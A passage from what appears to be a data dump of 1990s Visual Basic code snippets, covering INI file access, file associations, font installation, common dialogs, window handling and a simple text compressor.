FileName = CurFolder & \"\\\" & frmFileList.File.List(i)\n s = SendToPort(FileName, CurPrnPort, vbNull)\n frmMain.List.Selected(i) = False\n End If\n Next i\n \nEnd Sub\nPublic Function SendToPort(sFileName$, sPortName$, lPltFailed&)\nDim s As Long\n s = CopyFile(sFileName, sPortName, lPltFailed)\nEnd Function"},{"WorldId":1,"id":608,"LineNumber":1,"line":"Option Explicit\n' *************************************************************************************\n' Description:\n' A complete class for access to Ini Files. Works in\n' VB4 16 and 32 and VB5.\n'\n' Sample code: find out whether we are running the Windows\n' 95 shell or not:\n'\n' dim cIni as new cIniFile\n' with cIni\n' .Path = \"C:\\WINDOWS\\SYSTEM.INI\" ' Use GetWindowsDir() call to find the correct dir\n' .Section = \"boot\"\n' .Key = \"shell\"\n' if (ucase$(trim$(.Value)) = \"EXPLORER.EXE\") then\n' msgbox \"Da Shell is here\",vbInformation\n' else\n' msgbox \"Da Computer is too old..\",vbExclamation\n' endif\n' end with\n'\n' FileName: cIniFile.Cls\n' Author: Steve McMahon (Steve-McMahon@pa-consulting.com)\n' Date: 30 June 1997\n' *************************************************************************************\n\n' Private variables to store the settings made:\nPrivate m_sPath As String\nPrivate m_sKey As String\nPrivate m_sSection As String\nPrivate m_sDefault As String\nPrivate m_lLastReturnCode As Long\n' Declares for cIniFile:\n#If Win32 Then\n ' Profile String functions:\n Private Declare Function WritePrivateProfileString Lib \"KERNEL32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As String, ByVal lpFileName As String) As Long\n Private Declare Function GetPrivateProfileString Lib \"KERNEL32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As Any, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\n#Else\n ' Profile String functions:\n ' If you are developing in VB5, delete this section\n ' otherwise SetupKit gets **confused**!\n Private Declare Function WritePrivateProfileString Lib \"Kernel\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Integer\n Private Declare Function GetPrivateProfileString Lib \"Kernel\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As Any, ByVal lpReturnedString As String, ByVal nSize As Integer, ByVal lpFileName As String) As Integer\n#End If\nProperty Get LastReturnCode() As Long\n ' Did the last call succeed?\n ' 0 if not!\n LastReturnCode = m_lLastReturnCode\nEnd Property\nProperty Let Default(sDefault As String)\n ' What to return if something goes wrong:\n m_sDefault = sDefault\nEnd Property\nProperty Get Default() As String\n ' What to return if something goes wrong:\n Default = m_sDefault\nEnd Property\nProperty Let Path(sPath As String)\n ' The filename of the INI file:\n m_sPath = sPath\nEnd Property\nProperty Get Path() As String\n ' The filename of the INI file:\n Path = m_sPath\nEnd Property\nProperty Let Key(sKey As String)\n ' The KEY= bit to look for\n m_sKey = sKey\nEnd Property\nProperty Get Key() As String\n ' The KEY= bit to look for\n Key = m_sKey\nEnd Property\nProperty Let Section(sSection As String)\n ' The [SECTION] bit to look for\n m_sSection = sSection\nEnd Property\nProperty Get Section() As String\n ' The [SECTION] bit to look for\n Section = m_sSection\nEnd Property\nProperty Get Value() As String\n ' Get the value of the current Key within Section of Path\nDim sBuf As String\nDim iSize As String\nDim iRetCode As Integer\n sBuf = Space$(255)\n iSize = Len(sBuf)\n iRetCode = GetPrivateProfileString(m_sSection, m_sKey, m_sDefault, sBuf, iSize, m_sPath)\n If (iSize > 0) Then\n Value = Left$(sBuf, iRetCode)\n Else\n Value = \"\"\n End If\nEnd Property\nProperty Let Value(sValue As String)\n ' Set the value of the current Key within Section of Path\nDim iPos As Integer\n ' Strip chr$(0):\n iPos = InStr(sValue, Chr$(0))\n Do While iPos <> 0\n sValue = Left$(sValue, (iPos - 1)) & Mid$(sValue, (iPos + 1))\n iPos = InStr(sValue, Chr$(0))\n Loop\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, m_sKey, sValue, m_sPath)\nEnd Property\nPublic Sub DeleteValue()\n ' Delete the value at Key within Section of Path\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, m_sKey, 0&, m_sPath)\nEnd Sub\nPublic Sub DeleteSection()\n ' Delete the Section in Path\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, 0&, 0&, m_sPath)\nEnd Sub\nProperty Get INISection() As String\n ' Return all the keys and values within the current\n ' section, separated by chr$(0):\nDim sBuf As String\nDim iSize As String\nDim iRetCode As Integer\n sBuf = Space$(255)\n iSize = Len(sBuf)\n iRetCode = GetPrivateProfileString(m_sSection, 0&, m_sDefault, sBuf, iSize, m_sPath)\n If (iSize > 0) Then\n INISection = Left$(sBuf, iRetCode)\n Else\n INISection = \"\"\n End If\nEnd Property\nProperty Let INISection(sSection As String)\n ' Set one or more the keys within the current section.\n ' Keys and Values should be separated by chr$(0):\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, 0&, sSection, m_sPath)\nEnd Property\n"},{"WorldId":1,"id":639,"LineNumber":1,"line":"At runtime, set the focus to the control in question. Then, click the Break button on the VB toolbar, type\n┬á┬á┬á?Screen.ActiveControl.Name\nin the debug window, and press [Enter]. Voila! VB displays the control name in the debug window-and you didn't have to stop the program."},{"WorldId":1,"id":644,"LineNumber":1,"line":"\nDim PControl As Object\nDim MyControl As Control\nDim AControl As Object\n'Get my UserControl\nFor Each AControl In ParentControls\n┬á┬áIf AControl.Name = Ambient.DisplayName Then\n┬á┬á┬á┬áSet MyControl = AControl\n┬á┬á┬á┬áExit For\n┬á┬áEnd If\nNext\n'Get the Form UserControl is on\nSet PControl = ParentControls.Item(1).Parent\nWhile Not (TypeOf PControl Is Form) ┬á┬áSet PControl = PControl.Parent\nWend"},{"WorldId":1,"id":650,"LineNumber":1,"line":"Make a form with a textbox (text1) and a listbox (list1). Fill the listbox with some items... \nMake a label (label1). Set it invisible = False\nPut the next code at the appropiate places:\nSub List1_MouseDown (Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim DY\n DY = TextHeight(\"A\")\n Label1.Move list1.Left, list1.Top + Y - DY / 2, list1.Width, DY\n Label1.Drag\nEnd Sub\nSub List1_DragOver (Source As Control, X As Single, Y As Single, State As Integer)\n If State = 0 Then Source.MousePointer = 12\n If State = 1 Then Source.MousePointer = 0\nEnd Sub\nSub Form_DragOver (Source As Control, X As Single, Y As Single, State As Integer)\n If State = 0 Then Source.MousePointer = 12\n If State = 1 Then Source.MousePointer = 0\nEnd Sub\nSub Text1_DragDrop (Index As Integer, Source As Control, X As Single, Y As Single)\n text1.text = list1\n \nEnd Sub"},{"WorldId":1,"id":658,"LineNumber":1,"line":"'make a new form; put some textboxen on it with some text in it\n'make a commandbutton\n'put the next code under the Command_Click event\n \tDim Control\n \tFor Each Control In Form1.Controls\n \tIf TypeOf Control Is TextBox Then Control.Text = \"\"\n \tNext Control"},{"WorldId":1,"id":671,"LineNumber":1,"line":"'1: choose printer\nPublic Sub ChoosePrinter\n Const ErrCancel = 32755\n CommonDialog1.CancelError = True\nOn Error GoTo errorPrinter\n CommonDialog1.Flags = 64\n 'see the Help on Flags Properties (Print Dialog)\n CommonDialog1.ShowPrinter\n CommonDialog1.PrinterDefault = False\n Exit Sub\nerrorPrinter:\n If Err = ErrCancel Then Exit Sub Else Resume\nEnd Sub\n'2: choose font\nGlobal vScreenFont, vScreenFontSize\nPublic Sub ChooseFont()\n CommonDialog1.Flags = cdlCFScreenFonts\n 'see the Help on Flags Properties (Font Dialog)\n CommonDialog1.ShowFont\n \n vScreenFont = CommonDialog1.FontName\n vScreenFontSize = CommonDialog1.FontSize\n Call ChangeFont(Form1)\n \nEnd Sub\nPublic Sub ChangeFont(X As Form)\n Dim Control\n \n For Each Control In X.Controls\n If TypeOf Control Is Label Or _\n TypeOf Control Is TextBox Or _\n TypeOf Control Is CommandButton Or _\n TypeOf Control Is ComboBox Or _\n TypeOf Control Is ListBox Or _\n TypeOf Control Is CheckBox Then\n \n Control.Font = vScreenFont\n Control.FontSize = vScreenFontSize\n End If\n Next Control\n \nEnd Sub\n'3: choose color\nGlobal vColor\nPublic Sub ChooseColor\n CommonDialog1.Flags = &H1& Or &H4&\n 'see the Help on Flags Properties (Color Dialog)\n CommonDialog1.ShowColor\n vColor = CommonDialog1.Color\n' if you want to convert the color to hex use \n' MsgBox Convert2Hex(vColor)\n' if you want to repaint youre background use\n' Call ChangeColor(X as Form)\nEnd Sub\nPublic Sub ChangeColor(X As Form)\n Dim Control\n X.BackColor = vColor \n For Each Control In X.Controls\n If TypeOf Control Is Label Or _\n TypeOf Control Is TextBox Or _\n TypeOf Control Is CommandButton Or _\n TypeOf Control Is ComboBox Or _\n TypeOf Control Is ListBox Or _\n TypeOf Control Is CheckBox Then\n \n Control.BackColor = vColor\n End If\n Next Control\nEnd Sub\nPublic Function Convert2Hex(color) as String\n\tDim RedValue, GreenValue, BlueValue\n RedValue = (color And &HFF&)\n GreenValue = (color And &HFF00&) \\ 256\n BlueValue = (color And &HFF0000) \\ 65536\n Convert2Hex = Format(Hex(RedValue) & Hex(GreenValue) & Hex(BlueValue), \"000000\")\nEnd Function"},{"WorldId":1,"id":675,"LineNumber":1,"line":"'make a new project: one form with a commandcontrol\n'insert the code on the right places\n'make the nessecary changes concerning your application and extension\n'look for the * sign!\n' Return codes from Registration functions.\nPublic Const ERROR_SUCCESS = 0&\nPublic Const ERROR_BADDB = 1&\nPublic Const ERROR_BADKEY = 2&\nPublic Const ERROR_CANTOPEN = 3&\nPublic Const ERROR_CANTREAD = 4&\nPublic Const ERROR_CANTWRITE = 5&\nPublic Const ERROR_OUTOFMEMORY = 6&\nPublic Const ERROR_INVALID_PARAMETER = 7&\nPublic Const ERROR_ACCESS_DENIED = 8&\nGlobal Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const MAX_PATH = 256&\nPublic Const REG_SZ = 1\n\nPrivate Sub Command1_Click()\n Dim sKeyName As String 'Holds Key Name in registry.\n Dim sKeyValue As String 'Holds Key Value in registry.\n Dim ret& 'Holds error status if any from API calls.\n Dim lphKey& 'Holds created key handle from RegCreateKey.\n 'This creates a Root entry called \"MyApp\".\n sKeyName = \"MyApp\" '*\n sKeyValue = \"My Application\" '*\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&)\n 'This creates a Root entry called .BAR associated with \"MyApp\".\n sKeyName = \".bar\" '*\n sKeyValue = \"MyApp\" '*\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&)\n 'This sets the command line for \"MyApp\".\n sKeyName = \"MyApp\" '*\n sKeyValue = \"notepad.exe %1\" '*\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"shell\\open\\command\", REG_SZ, sKeyValue, MAX_PATH)\nEnd Sub"},{"WorldId":1,"id":681,"LineNumber":1,"line":"'make a new project; 2 textboxen (index 0 & 1); 2 labels (index 0 & 1)\n'1 command button\n'Insert the next code in the right place (use Insert/File)\n'Press F5\n------------- code -------------------\nPrivate Sub ChooseNumber(strNumber As String, strAppName As String, strName As String)\n Dim lngResult As Long\n Dim strBuffer As String\n \n lngResult = tapiRequestMakeCall&(strNumber, strAppName, strName, \"\")\n If lngResult <> 0 Then 'error\n strBuffer = \"Error connecting to number: \"\n Select Case lngResult\n Case -2&\n strBuffer = strBuffer & \" 'PhoneDailer not installed?\"\n Case -3&\n strBuffer = strBuffer & \"Error : \" & CStr(lngResult) & \".\"\n End Select\n \n MsgBox strBuffer\n End If\n \nEnd Sub\nPrivate Sub Command1_Click()\n Call ChooseNumber(Text1(0).Text, \"PhoneDialer\", Text1(1).Text)\n \nEnd Sub\n\nPrivate Sub Form_Load()\n Text1(0).Text = \"\"\n Text1(1).Text = \"\"\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n End\n \nEnd Sub"},{"WorldId":1,"id":682,"LineNumber":1,"line":"'Add the following code to the Command1_Click event on a form:\nPrivate Sub Command1_Click()\n'Add the following code to the Command1_Click event:\n Dim i As Long\n Const SoundFileName$ = \"c:\\sb16\\samples\\s_16_44.wav\"\n i = waveOutGetNumDevs()\n If i > 0 Then 'There is at least one sound device.\n\ti& = sndPlaySound(SoundFileName$, Flags&) \n Else\n Beep\n End If\nEnd Sub"},{"WorldId":1,"id":692,"LineNumber":1,"line":"Public Sub StayOnTop(frmForm As Form, fOnTop As Boolean)\n \n Const HWND_TOPMOST = -1\n Const HWND_NOTOPMOST = -2\n \n Dim lState As Long\n Dim iLeft As Integer, iTop As Integer, iWidth As Integer, iHeight As Integer\n \n With frmForm\n iLeft = .Left / Screen.TwipsPerPixelX\n iTop = .Top / Screen.TwipsPerPixelY\n iWidth = .Width / Screen.TwipsPerPixelX\n iHeight = .Height / Screen.TwipsPerPixelY\n End With\n \n If fOnTop Then\n lState = HWND_TOPMOST\n Else\n lState = HWND_NOTOPMOST\n End If\n Call SetWindowPos(frmForm.hWnd, lState, iLeft, iTop, iWidth, iHeight,0)\nEnd Sub"},{"WorldId":1,"id":695,"LineNumber":1,"line":"'first be sure you have add the custom controls\n'Microsoft Windows Common Controls -> Comctl32.ocx\n'step 1:\n'add the control Imagelist\n'set the propertie Custom\n'General: size \n'Images: click 'Insert Picture' to add the necessary pictures\n'step 2:\n'add the control Toolbar\n'set the propertie Custom\n'General: Imagelist\n'Buttons: to add a button just click on 'Insert Button'\n'at 'Image' you need to set the index-number of the wanted picture \n'this number is the same as the pictures index in the ImageList\n'place - if you want - a ToolTipText\n'or if you just want text place it behind the propertie 'Caption'\n'click on 'OKE' when you are finished\n'and the toolbar is ready\n'now the code\n'put it under the\nPrivate Sub Toolbar1_ButtonClick(ByVal Button As Button)\n Select Case Button.Index\n Case 1\t'click on the first button\n Case 2\t'click on the second button\n Case 3\t'click on the third button\n \t'and so on\n End Select\n \nEnd Sub\n'you can change most properties a runtime\nToolbar1.Buttons(1).Visible = False 'makes the first button disappear\nToolbar1.Buttons(1).ToolTipText = \"an other one\" 'change the tooltip text of the first button\nToolbar1.Buttons(2).Enabled = False 'disable the second button\nToolbar1.Buttons(3).Caption = \"KATHER\" 'change the caption of the third button\n'BTW you cannot set the property Toolbar1.ShowTips at runtime!"},{"WorldId":1,"id":699,"LineNumber":1,"line":"Attribute VB_Name = \"OpenFile32\"\nOption Explicit\nPrivate Type OPENFILENAME\n lStructSize As Long\n hwndOwner As Long\n hInstance As Long\n lpstrFilter As String\n lpstrCustomFilter As String\n nMaxCustFilter As Long\n nFilterIndex As Long\n lpstrFile As String\n nMaxFile As Long\n lpstrFileTitle As String\n nMaxFileTitle As Long\n lpstrInitialDir As String\n lpstrTitle As String\n flags As Long\n nFileOffset As Integer\n nFileExtension As Integer\n lpstrDefExt As String\n lCustData As Long\n lpfnHook As Long\n lpTemplateName As String\nEnd Type\nPublic Const OFN_READONLY = &H1\nPublic Const OFN_OVERWRITEPROMPT = &H2\nPublic Const OFN_HIDEREADONLY = &H4\nPublic Const OFN_NOCHANGEDIR = &H8\nPublic Const OFN_SHOWHELP = &H10\nPublic Const OFN_ENABLEHOOK = &H20\nPublic Const OFN_ENABLETEMPLATE = &H40\nPublic Const OFN_ENABLETEMPLATEHANDLE = &H80\nPublic Const OFN_NOVALIDATE = &H100\nPublic Const OFN_ALLOWMULTISELECT = &H200\nPublic Const OFN_EXTENSIONDIFFERENT = &H400\nPublic Const OFN_PATHMUSTEXIST = &H800\nPublic Const OFN_FILEMUSTEXIST = &H1000\nPublic Const OFN_CREATEPROMPT = &H2000\nPublic Const OFN_SHAREAWARE = &H4000\nPublic Const OFN_NOREADONLYRETURN = &H8000\nPublic Const OFN_NOTESTFILECREATE = &H10000\nPublic Const OFN_NONETWORKBUTTON = &H20000\nPublic Const OFN_NOLONGNAMES = &H40000 ' force no long names for 4.x modules\nPublic Const OFN_EXPLORER = &H80000 ' new look commdlg\nPublic Const OFN_NODEREFERENCELINKS = &H100000\nPublic Const OFN_LONGNAMES = &H200000 ' force long names for 3.x modules\nPublic Const OFN_SHAREFALLTHROUGH = 2\nPublic Const OFN_SHARENOWARN = 1\nPublic Const OFN_SHAREWARN = 0\nPrivate Declare Function GetOpenFileName Lib \"comdlg32.dll\" Alias \"GetOpenFileNameA\" (pOpenfilename As OPENFILENAME) As Long\nPrivate Declare Function GetSaveFileName Lib \"comdlg32.dll\" Alias \"GetSaveFileNameA\" (pOpenfilename As OPENFILENAME) As Long\n\n\nFunction SaveDialog(Form1 As Form, Filter As String, Title As String, InitDir As String) As String\n \n Dim ofn As OPENFILENAME\n Dim A As Long\n ofn.lStructSize = Len(ofn)\n ofn.hwndOwner = Form1.hWnd\n ofn.hInstance = App.hInstance\n If Right$(Filter, 1) <> \"|\" Then Filter = Filter + \"|\"\n For A = 1 To Len(Filter)\n If Mid$(Filter, A, 1) = \"|\" Then Mid$(Filter, A, 1) = Chr$(0)\n Next\n ofn.lpstrFilter = Filter\n ofn.lpstrFile = Space$(254)\n ofn.nMaxFile = 255\n ofn.lpstrFileTitle = Space$(254)\n ofn.nMaxFileTitle = 255\n ofn.lpstrInitialDir = InitDir\n ofn.lpstrTitle = Title\n ofn.flags = OFN_HIDEREADONLY Or OFN_OVERWRITEPROMPT Or OFN_CREATEPROMPT\n A = GetSaveFileName(ofn)\n If (A) Then\n SaveDialog = Trim$(ofn.lpstrFile)\n Else\n SaveDialog = \"\"\n End If\nEnd Function\n\nFunction OpenDialog(Form1 As Form, Filter As String, Title As String, InitDir As String) As String\n \n Dim ofn As OPENFILENAME\n Dim A As Long\n ofn.lStructSize = Len(ofn)\n ofn.hwndOwner = Form1.hWnd\n ofn.hInstance = App.hInstance\n If Right$(Filter, 1) <> \"|\" Then Filter = Filter + \"|\"\n For A = 1 To Len(Filter)\n If Mid$(Filter, A, 1) = \"|\" Then Mid$(Filter, A, 1) = Chr$(0)\n Next\n ofn.lpstrFilter = Filter\n ofn.lpstrFile = Space$(254)\n ofn.nMaxFile = 255\n ofn.lpstrFileTitle = Space$(254)\n ofn.nMaxFileTitle = 255\n ofn.lpstrInitialDir = InitDir\n ofn.lpstrTitle = Title\n ofn.flags = OFN_HIDEREADONLY Or OFN_FILEMUSTEXIST\n A = GetOpenFileName(ofn)\n If (A) Then\n OpenDialog = Trim$(ofn.lpstrFile)\n Else\n OpenDialog = \"\"\n End If\nEnd Function"},{"WorldId":1,"id":247,"LineNumber":1,"line":"Public Sub DegreesToXY(CenterX As _\n Long, CenterY As Long, degree _\n As Double, radiusX As Long, _\n radiusY As Long, X As Long, Y _\n As Long)\nDim convert As Double\n convert = 3.141593 / 180 \n 'pi divided by 180\n X = CenterX - (Sin(-degree * _\n convert) * radiusX)\n Y = CenterY - (Sin((90 + _\n (degree)) * convert) * radiusY)\nEnd Sub"},{"WorldId":1,"id":254,"LineNumber":1,"line":"Public Function BrowseForFolder(hWndOwner As Long, sPrompt As String) As String\n Dim iNull As Integer\n Dim lpIDList As Long\n Dim lResult As Long\n Dim sPath As String\n Dim udtBI As BrowseInfo\n With udtBI\n .hWndOwner = hWndOwner\n .lpszTitle = lstrcat(sPrompt, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS\n End With\n lpIDList = SHBrowseForFolder(udtBI)\n If lpIDList Then\n sPath = String$(MAX_PATH, 0)\n lResult = SHGetPathFromIDList(lpIDList, sPath)\n Call CoTaskMemFree(lpIDList)\n iNull = InStr(sPath, vbNullChar)\n If iNull Then\n sPath = Left$(sPath, iNull - 1)\n End If\n End If\n BrowseForFolder = sPath\nEnd Function"},{"WorldId":1,"id":255,"LineNumber":1,"line":"Private Sub Add32Font(Filename As String)\n #If Win32 Then\n Dim lResult As Long\n Dim strFontPath As String, strFontname As String\n Dim hKey As Long\n \n 'This is the font name and path\n \n strFontPath = Space$(MAX_PATH)\n strFontname = Filename\n \n If NT Then\n 'Windows NT - Call and get the path to the\n '\\windows\\system directory\n lResult = GetWindowsDirectory(strFontPath, _\n MAX_PATH)\n If lResult <> 0 Then Mid$(strFontPath, _\n lResult + 1, 1) = \"\\\"\n strFontPath = RTrim$(strFontPath)\n Else\n 'Win95 - Call and get the path to the\n '\\windows\\fonts directory\n lResult = GetWindowsDirectory(strFontPath, _\n MAX_PATH)\n If lResult <> 0 Then Mid$(strFontPath, _\n lResult + 1) = \"\\fonts\\\"\n strFontPath = RTrim$(strFontPath)\n End If\n \n 'This Actually adds the font to the system's available\n 'fonts for this windows session\n lResult = AddFontResource(strFontPath + strFontname)\n ' If lResult = 0 Then MsgBox \"Error Occured \" & _\n \"Calling AddFontResource\"\n \n 'Write the registry value to permanently install the\n 'font\n lResult = RegOpenKey(HKEY_LOCAL_MACHINE, _\n \"software\\microsoft\\windows\\currentversion\\\" & _\n \"fonts\", hKey)\n lResult = RegSetValueEx(hKey, \"Proscape Font \" & strFontname & _\n \" (TrueType)\", 0, REG_SZ, ByVal strFontname, _\n Len(strFontname))\n lResult = RegCloseKey(hKey)\n \n 'This call broadcasts a message to let all top-level\n 'windows know that a font change has occured so they\n 'can reload their font list\n lResult = PostMessage(HWND_BROADCAST, WM_FONTCHANGE, _\n 0, 0)\n \n ' MsgBox \"Font Added!\"\n #End If\nEnd Sub\n\nPrivate Function NT() As Boolean\n #If Win32 Then\n Dim lResult As Long\n Dim vi As OSVERSIONINFO\n \n vi.dwOSVersionInfoSize = Len(vi)\n lResult = GetVersionEx(vi)\n \n If vi.dwPlatformId And VER_PLATFORM_WIN32_NT Then\n NT = True\n Else\n NT = False\n End If\n #End If\n \nEnd Function\nPublic Sub Add16Font(Filename As String)\n #If Win16 Then\n On Error Resume Next\n Dim sName As String, sFont As String, sDir As String, I As Integer\nDim r as Long\n \n ' Windows' System directory\n sDir = GetWinSysDir()\n \n ' Name of font resource file\n I = InStr(Filename, \".\")\n If I > 0 Then\n sFont = Left(Filename, I - 1) + \".fot\"\n Else\n sFont = Filename + \".fot\"\n End If\n sFont = sDir & \"\\\" & sFont\n Kill sDir & \"\\\" & sFont\n \n sName = \"Font \" & Filename & \" (True Type)\"\n r = CreateScalableFontResource%(0, sFont, Filename, sDir) '\nCreate the font resource file\n r = AddFontResource(sFont) ' Add\nresource to Windows font table\n r = WriteProfileString(\"Fonts\", sName, sFont) ' Make\nchanges to WIN.INI to reflect new font\n r = SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0&) ' Let\nother applications know of the change:\n #End If\n \nEnd Sub\n\nFunction GetWinSysDir() As String\n #If Win16 Then\n ' returns Windows System directory\n Dim Buffer As String * 254, r As Integer, sDir As String\n \n r = GetSystemDirectory(Buffer, 254)\n sDir = Left(Buffer, r)\n \n If Right(sDir, 1) = \"\\\" Then sDir = Left(sDir, Len(sDir) - 1)\n GetWinSysDir = sDir\n #End If\n \nEnd Function\n\nFunction GetWinDir() As String\n #If Win32 Then\n ' returns Windows directory\n Dim Buffer As String * 254, r As Long, sDir As String\n \n r = GetWindowsDirectory(Buffer, 254)\n sDir = Left(Buffer, r)\n \n If Right(sDir, 1) = \"\\\" Then sDir = Left(sDir, Len(sDir) - 1)\n GetWinDir = sDir\n #End If\n \nEnd Function\nPublic Function Reverse(Text As String) As String\n On Error Resume Next\n Dim I%, mx%, result$\n mx = Len(Text)\n For I = mx To 1 Step -1\n result = result + Mid$(Text, I, 1)\n Next\n Reverse = result\nEnd Function"},{"WorldId":1,"id":275,"LineNumber":1,"line":"Sub cmdExit_Click ()\n Unload Me ' Get me out of here!\n Set activate = Nothing ' Kill Form reference for good measure\n End Sub\n Sub cmdRefresh_Click ()\n FindAllApps ' Update list of tasks\n End Sub\n Sub cmdSwitch_Click ()\n Dim hWnd As Long ' handle to window\n Dim x As Long ' work area\n Dim lngWW As Long ' Window Style bits\n If lstApp.ListIndex < 0 Then Beep: Exit Sub\n ' Get window handle from listbox array\n hWnd = lstApp.ItemData(lstApp.ListIndex)\n ' Get style bits for window\n lngWW = GetWindowLong(hWnd, GWL_STYLE)\n ' If minimized do a restore\n If lngWW And WS_MINIMIZE Then \n x = ShowWindow(hWnd, SW_RESTORE)\n End If\n ' Move window to top of z-order/activate; no move/resize\n x = SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, _\n SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW)\n End Sub\n Sub FindAllApps ()\n Dim hwCurr As Long\n Dim intLen As Long\n Dim strTitle As String\n ' process all top-level windows in master window list\n lstApp.Clear\n hwCurr = GetWindow(Me.hWnd, GW_HWNDFIRST) ' get first window\n Do While hwCurr ' repeat for all windows\n If hwCurr <> Me.hWnd And TaskWindow(hwCurr) Then\n intLen = GetWindowTextLength(hwCurr) + 1 ' Get length\n strTitle = Space$(intLen) ' Get caption\n intLen = GetWindowText(hwCurr, strTitle, intLen)\n If intLen > 0 Then ' If we have anything, add it\n lstApp.AddItem strTitle\n ' and let's save the window handle in the itemdata array\n lstApp.ItemData(lstApp.NewIndex) = hwCurr \n End If\n End If\n hwCurr = GetWindow(hwCurr, GW_HWNDNEXT)\n Loop\n End Sub\n Sub Form_Load ()\n IsTask = WS_VISIBLE Or WS_BORDER ' Define bits for normal task\n FindAllApps ' Update list\n End Sub\n Sub Form_Paint ()\n FindAllApps ' Update List\n End Sub\n Sub Label1_Click ()\n FindAllApps ' Update list\n End Sub\n Sub lstApp_DblClick ()\n cmdSwitch.Value = True\n End Sub\n Function TaskWindow (hwCurr As Long) As Long\n Dim lngStyle As Long\n lngStyle = GetWindowLong(hwCurr, GWL_STYLE)\n If (lngStyle And IsTask) = IsTask Then TaskWindow = True\n End Function"},{"WorldId":1,"id":714,"LineNumber":1,"line":"Create a Form with 4 command buttons. \nName the first three buttons: 'Command1' (This will create a Control Array)\nLabel the first button: 'Connect Drive'\nLabel the second button: 'Disconnect Drive'\nLabel the third button: 'End Capture'\nLabel the fourth button: 'Quit'\nDouble-Click on one the button labelled \"Connect Drive\" and enter the following:\nPrivate Sub Command1_Click(Index As Integer) <<== You won't need this line\n Dim x As Long\n If Index = 0 Then 'Connect\n x = WNetConnectionDialog(Me.hwnd, RESOURCETYPE_DISK)\n ElseIf Index = 1 Then 'Disconnect\n x = WNetDisconnectDialog(Me.hwnd, RESOURCETYPE_DISK)\n Else\n End\n End If\nEnd Sub <<== You won't need this line either.\nName the fourth button 'printerbutton'. Double-Click it and enter the following:\nPrivate Sub printerbutton_Click()\n Dim x As Long\n x = WNetDisconnectDialog(Me.hwnd, RESOURCETYPE_PRINT)\nEnd Sub\nRun the app and click each of the buttons to see what happens!\nHope you find it useful!\nIf you're interested in trading VB code tips, email me at: kkeller@1stnet.com"},{"WorldId":1,"id":754,"LineNumber":1,"line":"'Add a new Form to your project, and add 3 command buttons to the\n'form (named Command1, Command2, and Command3). Then just\n'paste the following code into the form:\nOption Explicit\nDim i As Integer\nDim dbg As New clsDebugTimer\n\nPrivate Sub Command1_Click()\n Me.MousePointer = vbHourglass\n \n 'EXAMPLE 1 - VERY BASIC USAGE\n \n ' Start the timer\n dbg.Begin\n \n 'Do something that will take a little time\n For i = 0 To 25000: DoEvents: Next\n \n 'By default, calling the ShowElapsed method\n 'will display the elapsed time in the immediate window\n dbg.ShowElapsed\n \n \n Me.MousePointer = vbDefault\n \nEnd Sub\n\nPrivate Sub Command2_Click()\n Me.MousePointer = vbHourglass\n\n 'EXAMPLE 2 - USING THE PARAMETERS\n \n 'Start the timer, this time passing a\n 'timer index and a description\n dbg.Begin 0, \"Loop from 0 to 25000\"\n \n 'Do something that takes time\n For i = 0 To 25000: DoEvents: Next\n \n 'Display the elapsed time for timer index 0 in a message box\n dbg.ShowElapsed outMsgBox, 0\n \n \n Me.MousePointer = vbDefault\n \nEnd Sub\nPrivate Sub Command3_Click()\n Me.MousePointer = vbHourglass\n \n 'EXAMPLE 3 - USING MULTIPLE TIMERS\n \n 'Start the first timer- we'll use an index of 1\n 'timer index and a description\n dbg.Begin 1, \"Total Time\"\n \n 'Start a second timer- (index 2)\n 'timer index and a description\n dbg.Begin 2, \"Count from 0 to 25000\"\n \n 'Do something that takes time\n For i = 0 To 25000: DoEvents: Next\n \n 'Display the elapsed time for the second timer\n dbg.ShowElapsed outImmediateWindow, 2\n \n \n 'perform another loop like the one we just did above\n dbg.Begin 2, \"Count from 0 to 24999\"\n \n 'Do something that takes time\n For i = 0 To 24999: DoEvents: Next\n \n 'Display the elapsed time for the second timer\n dbg.ShowElapsed outImmediateWindow, 2\n \n 'Now display the elapsed time for the first timer\n dbg.ShowElapsed outImmediateWindow, 1\n \n \n Me.MousePointer = vbDefault\nEnd Sub"},{"WorldId":1,"id":745,"LineNumber":1,"line":"'Copyright 1997 Jouni vuorio\npublic function compress()\nOn Error Resume Next\nFor TT = 1 To Len(Text1)\nsana1 = Mid(Text1, TT, 1)\nsana2 = Mid(Text1, TT + 1, 1)\nsana3 = Mid(Text1, TT + 2, 1)\nX = 1\nIf Not sana1 = sana2 Then l├╢yty = 2\nIf sana1 = sana2 Then\nIf sana1 = sana3 Then\nl├╢yty = 1\nEnd If\nEnd If\n\nIf l├╢yty = 1 Then\nalku:\nX = X + 1\nmerkki = Mid(Text1, TT + X + 1, 1)\nIf merkki = sana1 Then GoTo alku\nsana = Chr(255) & Chr(X - 1) & sana1\nTT = TT + X\nEnd If\nIf l├╢yty = 2 Then sana = sana1\nText = Text & sana\nNext\nText1 = Text\nend function\npublic function uncompress()\nOn Error Resume Next\nFor TT = 1 To Len(Text1)\nsana1 = Asc(Mid(Text1, TT, 1))\nsana2 = Asc(Mid(Text1, TT + 1, 